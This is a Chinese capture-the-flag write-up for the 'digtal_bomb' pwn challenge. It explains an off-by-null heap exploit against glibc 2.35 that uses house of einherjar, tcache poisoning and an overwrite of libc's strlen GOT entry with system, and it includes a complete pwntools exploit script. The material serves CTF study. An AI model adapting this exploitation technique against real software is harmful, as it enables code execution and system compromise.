2025湾区杯

digtal_bomb

题解参考自大佬:微信公众平台

ida打开,main函数如下:

pVR2RBR.png

main函数里首先就是输入最小数和最大数,然后系统随机生成一个在这区间的数,自己再输入一个进行比对,如果一样就爆炸(boom)退出,否则继续,同时区间靠近,当左右区间边界一致时进入主逻辑(菜单函数),经测试,最小值输0,最大值输1,之后猜测1即可

主逻辑:

四个函数都有,edit只能使用一次。

edit、show和free常规,不存在漏洞。

add存在off by null漏洞:

pVR2cjJ.png

思路分析

通过off by null我们可以使用house of einherjar来构造堆块合并进而实现uaf的功能。

但是难点在于题目是2.35的libc版本,单纯通过堆块合并无法实现io的利用,所以这里参考师傅的思路,打libc里的strlen_got表。

这里做一个解释,为什么可以修改libc的got表来攻击。

虽然题目程序Full RELRO保护全开,但是libc为Partial RELRO

函数调用流程

当我们程序中调用strlen函数时。

1、首先会调用plt表

1
call strlen@plt

2、跳转到plt表项

strlen@plt 的第一条指令是一个间接跳转,跳转到它自己的GOT表中存储的地址

1
2
3
strlen@plt:
jmp [strlen@got.plt] ; 关键点:跳转到程序GOT表里存的地址
... ; 后面是延迟绑定的代码,正常情况下只执行一次

当延迟绑定结束后,再次调用jmp的就是libc里的strlen真实地址。

3、strlen函数本身并不是短短几行汇编,它是一个复杂的函数,它内部可能也会调用其他函数

4、假设在libc的strlen函数的实现中,某一行代码是 call strlen_internal。这个strlen_internal可能是一个内部函数,它的调用也会通过PLT/GOT机制。

5、于是libc的strlen内部就会调用到libc_strlen_got表,而我们修改了libc_strlen_got表地址为system,那么程序最终会执行到system函数。

漏洞利用

1、首先泄露堆地址,由于存在off by null,add会在末尾置\x00,所以没法直接通过add后show的方式泄露堆地址。首先free两个unsorted bin,之后用edit填充fd,通过show打印bk来泄露堆地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
#leak heap_base
add(0,0x500)
add(1,0x500)
add(2,0x500)
add(3,0x500)
free(0)
free(2)
add(0,0x500)
edit(0,b'a' * 8)
show(0)
ru('a' * 8)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xcb0
success("heap_base: " + hex(heap_base))

2、之后将之前的chunk清空还原初始堆布局,构造overlap chunk,通过unlink的方式来合并chunk。

高版本unlink需要绕过的两个限制:

  • 被free的chunk(这里指chunk2)的pre_size要和前方对应,所以我们要在前边伪造一个fake_size。

  • 被合并的chunk(这里指chunk0)的fd指向的chunk的bk要指向chunk0.chunk0的bk指向的chunk的fd要指向chunk0。

对于1的fake_size的伪造,可以直接在chunk0 add的时候在bk位置填充。

对于2的伪造,可以在chunk1的fd处写入chunk0的heap_addr,之后在chunk0的fd处写入chunk1的heap_addr即可。

pVR22u9.png

最后free2合并即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
free(0)
free(1)
free(3)

add(0,0x178)
add(1,0x78)
add(2,0x4f8)
add(3,0x448)

free(1)
add(1,0x78,p64(heap_base + 0x290 + 0x10)*2 +b'\x00'* 0x60 + p64(0x1f0))
free(0)
add(0,0x178,p64(0)+ p64(0x1f1)+p64(heap_base+ 0x290 + 0x180)* 2)
free(2)

3、合并之后会出现一个大的unsorted chunk,之后add对应size的chunk,使得unsorted bin的fd和chunk1的fd重合,show(1)即可泄露libc地址。

pVR2WH1.png

1
2
3
4
5
6
7
add(2,0x68)
add(4,0xf8)
show(1)
libc_base = get_addr() - 0x21ace0
system = libc_base + libc.sym['system']
libc_strlen_got = libc_base + 0x21a090
success("libc_base: " + hex(libc_base))

4、由于此时chunk0和chunk已经覆盖了chunk2,所以free0再add0即可修改chunk2的fd,从而进行tcache bin attack修改libc_strlen_got为system。

1
2
3
4
5
6
7
add(5,0x68)
free(5)
free(2)
free(0)
add(0,0x178,p64(0) + p64(0x71) + p64(((heap_base + 0x290 + 0x20) >> 12) ^ (libc_strlen_got)))
add(2,0x68,b'/bin/sh\x00')
add(5,0x68,p64(system) * 2)

5、最后通过show函数触发,因为shou函数中puts调用的时候会调用到strlen,所以会执行我们的system。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')

def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r(a):
return p.recv(a)
def ru(a):
return p.recvuntil(a)
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(libc_base):
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

#p = remote('1.14.71.254', 28143)
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
def menu(choice):
sla("Your choice >>",str(choice))

def add(index,size,data = 'a'):
menu(1)
sla("Index >> \n",str(index))
sla("Size >> \n",str(size))
s(data)

def free(index):
menu(2)
sla("Index >> \n",str(index))

def edit(index,data = 'a'):
menu(666)
sla("Index >> \n",str(index))
s(data)

def show(index):
menu(3)
sla("Index >> \n",str(index))

sla("Enter min (0-500): ",str(0))
sla("Enter max (0-500): ",str(1))
sla("Your guess :",str(1))

#leak heap_base
add(0,0x500)
add(1,0x500)
add(2,0x500)
add(3,0x500)
free(0)
free(2)
add(0,0x500)
edit(0,b'a' * 8)
show(0)
ru('a' * 8)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xcb0
success("heap_base: " + hex(heap_base))

free(0)
free(1)
free(3)

add(0,0x178)
add(1,0x78)
add(2,0x4f8)
add(3,0x448)

free(1)
add(1,0x78,p64(heap_base + 0x290 + 0x10)*2 +b'\x00'* 0x60 + p64(0x1f0))
free(0)
add(0,0x178,p64(0)+ p64(0x1f1)+p64(heap_base+ 0x290 + 0x180)* 2)
free(2)

add(2,0x68)
add(4,0xf8)

show(1)
libc_base = get_addr() - 0x21ace0
system = libc_base + libc.sym['system']
libc_strlen_got = libc_base + 0x21a090
success("libc_base: " + hex(libc_base))

add(5,0x68)
free(5)
free(2)
free(0)
add(0,0x178,p64(0) + p64(0x71) + p64(((heap_base + 0x290 + 0x20) >> 12) ^ (libc_strlen_got)))
add(2,0x68,b'/bin/sh\x00')
add(5,0x68,p64(system) * 2)

s(b'3\n2\n')

p.interactive()